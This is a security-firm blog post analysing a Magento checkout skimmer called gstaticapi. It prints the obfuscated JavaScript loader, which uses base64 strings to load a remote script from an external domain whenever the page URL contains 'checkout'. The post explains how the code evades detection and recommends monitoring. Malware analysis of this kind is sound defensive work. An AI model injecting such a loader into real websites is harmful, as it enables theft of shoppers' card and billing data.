Sucuri Blog

blog.sucuri.net/2020/09/magento-credit-card-stealing-malware-gstaticapi.html

Krasimir Konov September 25, 2020

Our team recently came across a malicious script used on a Magento website titled **gstaticapi,** which targeted checkout processes to capture and exfiltrate stolen information.

To obtain sensitive details, the malware loads external javascript whenever the URL contains “checkout” — this location typically belongs to the step in Magento’s checkout process where users enter their sensitive credit card information and shipping details.

```
if (window.location.href.indexOf(window.atob('Y2hlY2tvdXQ='))>-1) {
   var script=document.createElement('script');
   script.src='https://'+window.atob("Z3N0YXRpY2FwaS5jb20vZ3MuanM=");
   document.getElementsByTagName('head')[0].appendChild(script);
}
```

As seen above, the first **if** statement looks for the **checkout** string in the URL using **window.location.href.indexOf**.

When decoded, the base64 string “**Y2hlY2tvdXQ=**” equates to “**checkout**”:

```
if (window.location.href.indexOf(window.atob('Y2hlY2tvdXQ='))>-1)
```

The code creates a **script** element, where **script.src=** has been set to another base64 string equal to **gstaticapi[.]com/gs.js**.

The JavaScript is added to the header of the web page's document where the external code can be loaded, handling all the heavy lifting to steal and exfiltrate the credit card information and billing details.

While the script consists of only five lines, it can be combined into a single line to make it more difficult to detect. And unless you know exactly which strings to look for, a search for any associated domains will be difficult since they are all encoded.

To detect these types of injections, your best bet is to leverage a website monitoring service that can detect changes on both externally and at the server level.